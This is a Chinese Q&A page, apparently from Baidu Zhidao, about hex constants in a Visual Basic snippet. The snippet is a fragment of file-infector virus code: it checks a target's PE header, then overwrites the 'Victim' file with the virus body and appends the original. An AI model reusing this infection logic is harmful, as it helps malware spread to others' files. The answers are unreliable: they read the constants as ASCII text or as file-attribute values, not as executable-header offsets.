VB 16进制数的问题。。。

来源:百度知道 编辑:UC知道 时间:2024/05/30 14:17:18
If hArray(&H69) <> &H4D Then

i = hArray(&H3C)
If hArray(i) = &H50 Then
Open App.Path & "\" & Victim For Binary Access Write As #1
Put #1, , vbArray
Put #1, MySize, hArray
Close #1
End If '要保证被感染的不是空文件(不是圈套)
End If
End If
++++++++++++++++++++++++++++
&H69 &H4D &H3C。。。等16进制数有什么特定的含义吗?

要根据具体文件而定,
&H69 &H4D &H3C 换算为10进制就是:105 77 60
表示的三个字符是:iM<

&H69对应ASCII码的i
&H4D对应ASCII码的M
&H3C对应ASCII码的<
具体的含义要看原作者是什么意图了。

那是windows文件系统规定的文件属性的常数。